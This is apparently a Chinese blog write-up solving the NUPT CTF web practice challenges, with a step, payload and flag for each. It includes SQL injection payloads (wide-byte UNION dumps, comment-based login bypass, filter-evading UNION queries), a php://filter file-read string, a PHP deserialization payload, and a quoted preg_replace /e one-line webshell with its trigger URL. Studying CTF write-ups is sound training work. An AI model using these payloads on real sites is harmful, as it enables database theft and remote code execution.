南邮CTF练习题——web题

南邮CTF练习题——web题南邮CTF部分题解

南邮CTF练习题(http://ctf.nuptzj.cn/)

web(缺注入实战1,好像网炸了):

签到题:(http://chinalover.sinaapp.com/web1/)

直接右键查看源代码得到flag

关键是<a style=”display:none”>这条html属性,让flag不显示

md5 collision:(http://chinalover.sinaapp.com/web19/

看源码,关键是

if ($a != 'QNKCDZO' && $md51 == $md52)

post进去的a不是,然后a的MD5加密后是跟QNKCDZO一样,MD5加密QNKCDZ0发现是0Exxxxxxxxx之类的字符,表示0

所以找一个字符串,md5加密后是0E开头就好了

百度找到一个 aabg7XSs
,构建一下就好了

flag nctf{md5_collision_is_easy}


签到题2:(http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)

复制口令:zhimakaimen到输入框,提示尚未登录或口令登录。右键查看源代码

南邮CTF练习题——web题南邮CTF练习题——web题

看到了maxlength,输入框限制了输入字符数量,改大一点就好了

打开firebug,在html直接修改

南邮CTF练习题——web题南邮CTF练习题——web题南邮CTF练习题——web题

然后就可以得到flag了,flag is:nctf{follow_me_to_exploit}

这题不是WEB(http://chinalover.sinaapp.com/web2/index.html)

提示不是web题,然后看到有张图,先另存为下来

先改名为txt看看有没有flag,发现没有,再改名为zip,提示压缩包损坏

那就用HxD等工具查看一下,在最后发现flag

南邮CTF练习题——web题南邮CTF练习题——web题

flag:nctf{photo_can_also_hid3_msg}

层层递进(http://chinalover.sinaapp.com/web3/)

打开网页,查看源代码,似乎都没有什么提示

上burpsuite,截断看看

发现也没有什么提示

那在burpsuite的httphistory看看

南邮CTF练习题——web题南邮CTF练习题——web题

看到这个后缀有点意思 ,返回的http状态码是200,然后写404.html

打开看看

在response包就看到flag

南邮CTF练习题——web题南邮CTF练习题——web题

flag:nctf{this_is_a_fl4g}

AAencode(http://chinalover.sinaapp.com/web20/aaencode.txt)

莫名其妙的打不开了

反正就是一段js加密后的代码,直接跑一下就好了

在vscode下 先

var ω゚ノ =
” ” (定义这个变量是因为第一次跑说这个变量未定义)
然后复制网站的AAencode代码
跑完就能得到flag

[Running]
node “c:\Users\Dcison\Desktop\1.js”
undefined:2
alert(“nctf{javascript_aaencode}”)
^

也可以看看AAdecode方法→http://tieba.baidu.com/p/4104806767

单身二十年(http://chinalover.sinaapp.com/web8/)

直接在burpsuite看到了。。。

南邮CTF练习题——web题南邮CTF练习题——web题

flag:nctf{yougotit_script_now}

你从哪里来(http://chinalover.sinaapp.com/web22/)

看题目提示,从Google来

没差的话就是改请求就好了,改成http://www.google.com

referer可以看看:http://baike.baidu.com/link?url=lEY–jHYjzifDw9PlUrsdVWgU7JB2ibqSz4FYdj1JX5_rOg_B-lolG4uBEvWSRWvumd55lkc0OJ4qVoZlSUgBxGp-Spg0CgtMKMroy57gba的简介就好了

phpdecode:

观察源码发现其实没想象中的难,就是一个

gzinflate(base64_decode($ZzvSWE))加密,百度可以详细了解,
改下最后的代码,在php测试上试试就好了->http://www.shucunwang.com/RunCode/php/南邮CTF练习题——web题

flag如图

文件包含(http://4.chinalover.sinaapp.com/web7/index.php)

构建file=php://filter/read=convert.base64-encode/resource=index.php 就好

文章可以参考:http://www.2cto.com/article/201311/258420.html(乌云的炸了2333333)

单身100年也没用(http://chinalover.sinaapp.com/web9/)

打开burp看看就出来了

南邮CTF练习题——web题

这题是讲302重定向,详情可以看看->http://blog.sina.com.cn/s/blog_4550f3ca0101czu9.html 连带301复习

Download~!(http://way.nuptzj.cn/web6/)

dalao学长给了tips。。。。download.php

http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw(后面这一串是download.php的base64加密)

然后下面就很简单了。。看到源码里有hereiskey.php,再下载一次就好了

flag:nctf{download_any_file_666}

cookie(http://chinalover.sinaapp.com/web10/index.php)

题目提示 :0==not

即我们可能要改包

burp看看请求包

南邮CTF练习题——web题

题目是cookie,我们看到cookie这行,发现login = 0 

那就改1咯

开启截断,然后把包发到repeater

南邮CTF练习题——web题

改login = 1

南邮CTF练习题——web题

得到flag:nctf{cookie_is_different_from_session}

MYSQL(http://chinalover.sinaapp.com/web11/)

一上来就提示robots.txt

那在链接后面加上robots.txt访问看看(robots可百度)

(http://chinalover.sinaapp.com/web11/robots.txt

可以看到sql代码,重点关注

南邮CTF练习题——web题

如果id 不等于1024才输出内容

再根据题目提示sql.php

链接写

http://chinalover.sinaapp.com/web11/sql.php?id=1022(1022是随机写的)

看看有什么

提示 no msg

那再看看1024

就输出try again

再往后看看,1025提示 no more

1026 1027都没有东西了

再往回1023,还是没内容

那再关注1024,思考可能内容就在id=1024里面,但代码判断不能是1024才显示

那我们就要想有什么可以等效1024,但不等于1024

那很容易想到时mysql的精度问题,输入1024.1试试

就可以得到flag:the flag is:nctf{query_in_mysql}

sql injection 3(http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1)

宽字节注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各种百度,
不上图了,直接上代码:
爆库id = %df’ union select 1,database() %23
得到库名 sae-chinalover
爆表id=%df’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴字段ctf2表 %df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 %23
得到字段名 id,content(别问我为啥选ctf2表,一个一个试出来的)
暴内容 id=%df’ union select 1,group_concat(id,0x3a,content) from ctf2 %23
得到flag:    nctf{query_in_mysql}

/x00(http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?)

不懂php,看代码,查函数猜的。。。

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

不知道为何能爆出flag。。。以后再好好研究截断

(保留nctf[]就可以了,后面=1都可以不用。。。)

bypass(http://chinalover.sinaapp.com/web17/index.php)

题目提示了弱类型,利用的是在php,md5一个数组。

构造:http://chinalover.sinaapp.com/web17/index.php?a[]=a&&b[]=c

Flag: nctf{php_is_so_cool}

变量覆盖:(http://chinalover.sinaapp.com/web18/index.php)

点开后,发现有个source

南邮CTF练习题——web题

点开查看,关注

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>

只要pass 和thepassword_123相等就好了

那么构建

南邮CTF练习题——web题

flag如图

这题关键是extract函数,详情可看http://www.w3school.com.cn/php/func_array_extract.asp

php是世界上最好的语言:(http://way.nuptzj.cn/php/index.php)

点开提示打开index,txt

关注一下eregi函数,->http://blog.csdn.net/shaobingj126/article/details/6861646

懂了之后就简单了

意思是提交的id不能=hackerDJ,而提交的id经过url解码后与hackerDJ相同就能出flag

url编码,传输过去默认会解码一次,所以我们不能只加密一次,加密两次就可以了,上工具

南邮CTF练习题——web题

复制下来,再加密一次就好了,得到%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

南邮CTF练习题——web题

flag如图

伪装者(http://chinalover.sinaapp.com/web4/xxx.php)

看题目就猜可能要改请求包的某些内容

然后看网页

南邮CTF练习题——web题

猜可能要改Referer,再看网页登陆,那就改127.0.0.1

然而什么都没有提示

那么好好思考,发现这题似曾相识,与网络安全实验室基础题第11题相似

那上一个插件

南邮CTF练习题——web题

刷新网页,得到flag:nctf{happy_http_headers} 

Header(http://way.nuptzj.cn/web5/)

题目提示头,题目也是header,提示那么明显了。。

懒得开firebug,查看器,直接用burp看。。。

南邮CTF练习题——web题

flag:nctf{tips_often_hide_here}

SQL注入1(http://chinalover.sinaapp.com/index.php)

看source,得到sql源码

南邮CTF练习题——web题

重点关注这几行,首先第一行是密码进行了md5加密

第二行,第三行意思是从数据库选择账号=admin,密码=我们输入的密码的数据,把他们放到队列中query中

重点来了,if判断只需要判断数据库的账号是不是,那我们只需要在admin输入后让密码无效掉就好了,即注释掉and(pw=’。。。。。。。)后面的代码

那就构造 admin’) — dsfaasdf  –表示注释,后面的东西乱输就好了

得到flag,nctf{ni_ye_hui_sql?} 

passcheck:(http://chinalover.sinaapp.com/web21/)

关键是提示:tip:strcmp(array,string)=null=0

意思是strcmp这个函数,比较结果相同时返回0….而判断条件是

!strcmp($pass,$pass1))

按逻辑来说,这就是要post进去的内容与隐藏的密码相同才行。。

然而strcmp比较的内容有数组时会返回null

而null 和 0在判断中是等价的。post一个数组进去就好


起名字真难:(http://chinalover.sinaapp.com/web12/index.php)

看源码知道我们提交的id中的字符串不能有数字,而想得到flag又要进去的是要数字。。。

所以我们换进制就好了54975581388=0xccccccccc
playload=http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
flag:nctf{follow_your_dream}

密码重置(http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D)

复制链接的时候就发现问题了,南邮CTF练习题——web题

发现没,那很可能是编码过,base64解码后发现是ctfuser,而题目要求我们是admin

那么问题就简单了,将admin base64加密后,再编码成url格式,可以用hackbar自带的工具,截断重置,然后用burp改包就好了

南邮CTF练习题——web题

flag:nctf{reset_password_often_have_vuln}

php 反序列化:(http://115.28.150.176/php1/index.php)

炸了。。上不去
简而言之就是让
个序列化过后的字符串与类中的变量始终保持相同,可以想到引用a=&b

拿php测试跑一下这个代码

<?php 
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());
?>

得到关键字符串


南邮CTF练习题——web题

构建playload:http://115.28.150.176/php1/index.php?pass=O:8:”just4fun”:2:{s:5:”enter”;N;s:6:”secret”;R:2;}

sql injection 4(http://chinalover.sinaapp.com/web15/index.php)

根据提示与右键源码,可以知道用\来使单引号闭合

关键是username=\&password=or 1=1%23 (%23表示#,直接#不行。。。不知道为什么要url编码后才可以)

这样子 sql语句就变成了

SELECT * FROM users WHERE name='\' AND pass=' or 1= 1#';(表示被闭合掉了)

这样就可以得到flag了:

nctf{sql_injection_is_interesting}

综合题(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)

点进去,在实验室题目做过,是jsfuck(http://www.jsfuck.com/)

运行题目的代码,得到1bc29b36f623ba82aaf6724fd3b16718.php

回去构造链接(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)

提示tip在脑袋(head)里,那看头咯,返回包里有tip,提示history of bash

不知道什么玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)

用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

打开提示一个zip文件,下载就好了

http://teamxlc.sinaapp.com/web3/flagbak.zip

flag is:nctf{bash_history_means_what}

sql注入2(http://4.chinalover.sinaapp.com/web6/index.phps)

题目提示union,可能要用到union语句,然后关注下主要代码

$pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user'”));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

      echo “<p>Logged in! Key: ntcf{**************} </p>”;
  }

密码md5加密, 从数据库中选择与用户名匹配的密码,然后判断,密码不空且我们输入的密码与数据库中存的密码相同,才输出flag

然后。。。就不会了。。不会百度就好了

http://wenku.baidu.com/link?url=W6WxOzWCUqyXFhGzRyUBEIYE2zo0QkryATPuuosV7voFs6xkvfwjbyY5O3Li97Y4JcRPxQxC01cpOYmTnUiDRRWoIcqoduTHHnhcPrM7wba

上面的题解有详细的说明,套就好了

得到flag:ntcf{union_select_is_wtf} 

综合题2(http://cms.nuptzj.cn/)

看了两篇writeup……还有经过周老大“调教”终于懂了。。。

关键是注入语句构造麻烦。。。

http://cms.nuptzj.cn/about.php?file=sm.txt ->收集信息,得到表名admin, 字段名 username,userpass

而且http://cms.nuptzj.cn/about.php?file=sm.txt可以知道这里有文件包含漏洞,各种更改file=xxxx收集下信息

在file=so.php中可以看到南邮CTF练习题——web题

首先要改userage->Xlcteam Browser

然后还可以看到 antiinject.php 

再file = antiinject.php,里面是过滤文件

南邮CTF练习题——web题

可以用>或者<代替=,/**/代替空格,like或者In代替=,然后 selselectect代替select

详情看http://www.freebuf.com/articles/web/36683.html

然后我们上Modify Header
在留言搜索那开始注入

南邮CTF练习题——web题

因为单引号被过滤了,我们直接用order by来测试下

南邮CTF练习题——web题

发现到5就不行了

所以有4个字段

上union select

因为我们根据一开始的提示已经有了表名 字段名

直接构造

soid=-5/**/ununionion/**/seleselectct/**/1,group_concat(userpapassss),3,4/**/frfromom/**/adadminmin#(换下usernanameme得username字段内容)

5是自己试出来的,4也行,123都不行

得到102 117 99 107 114 117 110 116 117    admin

明显密码是ASCII,转成字符发现是fuckruntu

然后找后台

在file=about.php可以看到后台loginxlcteam

http://cms.nuptzj.cn/loginxlcteam

登陆后看到

南邮CTF练习题——web题

file=xlcteam.php查看一下

这个一句话木马内容如下:

<?php$e = $_REQUEST[‘www’];$arr = array($_POST[‘wtf’] => ‘|.*|e’,);array_walk($arr, $e, ”);?>

百度搜索一下

http://blog.csdn.net/settoken/article/details/50946689

就是第四个,所以构建http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

密码wtf

flag如图南邮CTF练习题——web题

注入实战

炸了。。一直没法做

密码重置2:(http://nctf.nuptzj.cn/web14/index.php)

邮箱右键观察源码,得到admin@nuptzj.cn

然后下个提示linux下一般使用vi编辑器,并且异常退出会留下备份文件,详情

http://blog.csdn.net/dengwenwei121/article/details/43483475

在源码下找到submit.php,测试http://nctf.nuptzj.cn/web14/.submit.php.swp

得到提示南邮CTF练习题——web题

知道token要10,并且要=0,很快想到0e00000000

得到flag:nctf{thanks_to_cumt_bxs}

web题到此结束。。。收获颇多,感谢周老大与悉宇大神的各种指导(tiaojiao)

今天的文章南邮CTF练习题——web题分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/30228.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注